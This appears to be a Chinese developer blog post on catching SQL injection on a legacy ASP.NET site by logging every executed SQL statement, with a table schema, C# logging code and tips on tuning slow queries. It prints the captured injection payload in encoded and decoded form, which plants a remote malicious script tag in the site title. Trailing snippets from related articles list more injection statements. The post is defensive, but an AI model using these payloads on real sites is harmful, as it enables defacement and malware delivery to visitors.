记一次成功的sql注入入侵检测附带sql性能优化

但是如果是让你接手一个二等残废的网站,并让你在上面改版,而且不能推翻式改版,只能逐步替换旧的程序,那么你会非常痛苦,例如我遇到的问题:

问题1.

老板对你说,以前刚做完网站好好了,没有出现木马,怎么你来了,就会出现木马,先别说了,赶紧解决问题,我彻底无语,但是如果争吵,其实证明你和老板一样无知,拿出证据和事实分析来让公司其他稍微懂技术的一起来证明,公司网站被挂马不是你来了的错。

如是我通过网站目录仔细排查将通过fck上传的网马删除并修补fck的上传漏洞并记下了这篇 Fckeditor使用笔记 ,其实很多人都遇到过,也解决过,都是小问题,但是让你老板明白比解决漏洞问题更蛋疼,我那解释的叫一个汗啊,恨不得把公司所有稍微懂点技术的都叫上让他们看什么是大马什么是小马,然后演示怎么上传木马,奶奶的,黑客教程普及啊。

问题2.

网站又出现问题,上次的问题解决了不过两个月,网站又被入侵挂马,如是老板这次再说因为我来了才出问题,立马走人,这就是为什么不能更不懂技术的人硬碰硬,更不能和你的老板来说,说了你又不懂。

但是要命的是网站是以前的技术开发的二等残废,在别个的cms上修改的,我必须保证网站在的开发的同时旧的模块还可以使用,通过逐步更新的方法将网站底层翻新,但是那么多页面,你很难一个一个去检测那个页面有漏洞,如是写出下面的检测代码,没想到这么简单的就搞定了,并且可以通过此方法优化你的sql。

第一步建立一个sql日志表

复制代码 代码如下:

CREATE TABLE [dbo].[my_sqllog](

[id] [bigint] IDENTITY(1,1) NOT NULL,

[hit] [bigint] NULL,

[sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,

[paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,

[begintime] [datetime] NULL,

[endtime] [datetime] NULL,

[fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,

[ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,

[lastelapsedtime] [bigint] NULL,

CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED

(

[id] ASC

)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]

) ON [PRIMARY]

记录sql语句、此sql语句被执行次数,参数及值,记录开始时间,结束时间,来自哪个页面,ip和此条语句执行时间(暂时没用)

第二步在sqlhelper里写记录代码

两个方法本来可以写成private的,但是此二等残废的网站其他地方用的别的sqlhelper类,就直接调用此处通过合理优化的sqlhelper类的方法了。

代码1:插入日志

复制代码 代码如下:

public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)

{

#region 参数处理

string colums = "";

string dbtypes = "";

string values = "";

string paramdetails = "";

if (cmdParams != null && cmdParams.Length > 0)

{

foreach (DbParameter param in cmdParams)

{

if (param == null)

{

continue;

}

colums += param.ParameterName + " ";

dbtypes += param.DbType + " ";

values += param.Value + ";";

}

paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);

}

string fromurl = "";

if (System.Web.HttpContext.Current!=null)

{

fromurl = System.Web.HttpContext.Current.Request.Url.ToString();

}

// commandText = commandText.Replace("'","‘").Replace(";",";");

SqlParameter[] parameters = new SqlParameter[]

{

new SqlParameter("@hit",1),

new SqlParameter("@sqltext",commandText),

new SqlParameter("@paramdetails",paramdetails),

new SqlParameter("@begintime",DateTime.Now),

new SqlParameter("@endtime",DateTime.Now),

new SqlParameter("@fromurl",fromurl),

new SqlParameter("@ip",Web.PressRequest.GetIP()),

new SqlParameter("@lastelapsedtime",0),

};

#endregion

using (DbConnection connection = Factory.CreateConnection())

{

connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;

string sql = "";

// 执行DbCommand命令,并返回结果.

int id =

Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,

"select top 1 id from my_sqllog where sqltext=@sqltext",

new SqlParameter("@sqltext", commandText)));

if (id > 0)

{

sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;

}

else

{

sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";

}

// 创建DbCommand命令,并进行预处理

DbCommand cmd = Factory.CreateCommand();

bool mustCloseConnection = false;

PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);

// 执行DbCommand命令,并返回结果.

int retval = cmd.ExecuteNonQuery();

// 清除参数,以便再次使用.

cmd.Parameters.Clear();

if (mustCloseConnection)

connection.Close();

return retval;

}

}

代码2:判断此条sql是否存在

复制代码 代码如下:

private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)

{

if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");

// 创建并打开数据库连接对象,操作完成释放对象.

using (DbConnection connection = Factory.CreateConnection())

{

if (connection == null) throw new ArgumentNullException("connection");

//connection.Close();

connection.ConnectionString = GetRealConnectionString(commandText);

connection.Open();

// 创建DbCommand命令,并进行预处理

DbCommand cmd = Factory.CreateCommand();

bool mustCloseConnection = false;

PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);

// 执行DbCommand命令,并返回结果.

object retval = cmd.ExecuteScalar();

// 清除参数,以便再次使用.

cmd.Parameters.Clear();

if (mustCloseConnection)

connection.Close();

return retval;

}

}

第三部在你的每个执行sql语句的方法里加入以下代码,不管是ExecuteScalar、ExecuteReader还是ExecuteNonQuery等等都加上

复制代码 代码如下:

//执行sql之前进行日志记录操纵

int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);

代码示例:

复制代码 代码如下:

public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)

{

if (connection == null) throw new ArgumentNullException("connection");

//connection.Close();

connection.ConnectionString = GetRealConnectionString(commandText);

connection.Open();

// 创建DbCommand命令,并进行预处理

DbCommand cmd = Factory.CreateCommand();

bool mustCloseConnection = false;

PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);

//执行sql之前进行日志记录操纵

int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);

// 执行DbCommand命令,并返回结果.

object retval = cmd.ExecuteScalar();

// 清除参数,以便再次使用.

cmd.Parameters.Clear();

if (mustCloseConnection)

connection.Close();

return retval;

}

然后你会发现入侵的入口被记录下来了,后面方框里的就是构造注入的sql

构造sql如下:

39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
转码后变成这样了:  

update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://jb51.net/ur.php></script>')
这个就是木马地址,没事你就别点了,好奇害死猫。

小结:
既然知道入口就知道怎么补救了吧,把string类型该过滤的都过滤掉,int类型的就得是int类型,别让数据库替你隐式转。通过此sql日志记录,你应该发现一点那个hit还是有点价值的。
通过select top 100 * from my_sqllog order by hit desc
你会发现你写的那么多sql原来真垃圾,在条件允许的情况下干嘛不把它放到缓存里。所以后来我写的sql基本不在这top 100里。
抛砖引玉,望高手批评,以上入侵方法希望刚学习做程序员的同学不要用来欺负小网站,伤不起。
作者:jqbird

时间: 2024-10-25 17:58:56

记一次成功的sql注入入侵检测附带sql性能优化的相关文章

记一次成功的sql注入入侵检测附带sql性能优化_MsSql

但是如果是让你接手一个二等残废的网站,并让你在上面改版,而且不能推翻式改版,只能逐步替换旧的程序,那么你会非常痛苦,例如我遇到的问题: 问题1. 老板对你说,以前刚做完网站好好了,没有出现木马,怎么你来了,就会出现木马,先别说了,赶紧解决问题,我彻底无语,但是如果争吵,其实证明你和老板一样无知,拿出证据和事实分析来让公司其他稍微懂技术的一起来证明,公司网站被挂马不是你来了的错. 如是我通过网站目录仔细排查将通过fck上传的网马删除并修补fck的上传漏洞并记下了这篇 Fckeditor使用笔记 ,

Statement和PreparedStatement的区别; 什么是SQL注入,怎么防止SQL注入? (转)

  问题一:Statement和PreparedStatement的区别 先来说说,什么是java中的Statement:Statement是java执行数据库操作的一个重要方法,用于在已经建立数据库连接的基础上,向数据库发送要执行的SQL语句.具体步骤: 1.首先导入java.sql.*:这个包. 2.然后加载驱动,创建连接,得到Connection接口的的实现对象,比如对象名叫做conn. 3.然后再用conn对象去创建Statement的实例,方法是:Statement stmt = co

很全的SQL注入语句,有SQL漏洞的都可以拿下

1.返回的是连接的数据库名 and db_name()>0 2.作用是获取连接用户名 and user>0 3.将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';-- 4.显示SQL系统版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)-- 5.判断xp_cmdshell扩展存储过程是否存在 and 1=(SELECT count(*) F

SQL Injection(SQL注入)介绍及SQL Injection攻击检测工具

1.关于SQL Injection 迄今为止,我基本没有看到谁写出一篇很完整的文章,或者说很成熟的 解决方案(能做到 的人肯定很多,问题是没有流传开来,很遗憾) 我简单的说几点,希望启发大家思考,起到抛砖引玉的作用 一.SQL Injection的原理 SQL Injection的实现方法和破坏作 用有很多,但万变不离其宗,其原理可以概括为一句话 :SQL Injection就是向服务器端提交事先准备好的数据,拼凑出攻击者想要的SQL语句,以改变数据库操作执行计划. 我想,这么说也许不算精炼,但

sql千万级数据库分页与性能优化分析

在之前也有很多人问类似这样的问题,回复这样的问题,我们一般会从索引,水平分区,垂直分区和硬件的升级等方面考虑.    分析   对于千万级数据的分页,要求在秒级内响应,解决方案除了刚列的几个方面考虑,这里说一个非常重要的考虑(评估)是,现实意义. 拿CSDN论坛的那1690万数据来说,我按每页显示200行数据,需要84500页.从站在用户(使用者)角度看,对于查看1万页以后的数据的概率是非常小.假设我们是使用者,让我们一页一页的点,点到100页都够郁闷的了,更何况是1万页后的数据了.这里从现实意

Black Hat|长亭科技:防SQL注入利器-SQLChop

本文讲的是 Black Hat|长亭科技:防SQL注入利器-SQLChop,当程序过分信任用户的输入,直接将用户的输入与后台的SQL语句拼接在一起并执行时,如果用户输入带有恶意,SQL注入就发生了. 美国当地时间8月5日,国内安全新兴企业长亭科技在黑帽大会的军火库分会场(Arsenal),现场为来自全球各地的安全从业人员进行技术讲解,并演示他们的"无规则SQL注入攻击检测与防御引擎". 结合统计资料和实际情况来看,SQL注入仍然占据互联网威胁安全事件中非常大的比例(接近1/3)而且并没

SQL注入实战---利用“dbo”获得SQL管理权限和系统权限

作者:覆灭之魔 文章来源:影子鹰安全网络 刚刚开始学习SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导. 在一个供求信息发布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49 我做了如下测试:(1) Http://www.xxx.com/new/new.asp?id=49' Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14[Microsoft][ODBC Microsof

SQL注入攻击的原理及其防范措施

攻击 ASP编程门槛很低,新手很容易上路.在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到.那么新手与老手就没区别了吗?这里面区别可就大了,只不过外行人很难一眼就看出来罢了.在界面的友好性.运行性能以及网站的安全性方面是新手与老手之间区别的三个集中点.而在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题.用NBSI 2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注入漏洞,教育网里高校内部机构的一些网站这种漏洞

SQL注入不完全思路与防注入程序

程序|防注入 SQL注入不完全思路与防注入程序 [ 繁體中文 ] | 文章类别:数据库安全 | 文章等级: | 发表日期:2005-2-13  星期日 [ 计数器 | 精彩博客 | 魔法表情 | 博客申请 | 源码下载 | IP查询 | Html2Js ] 转自:动态网制作指南 www.knowsky.com <一>SQL注入简介 许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访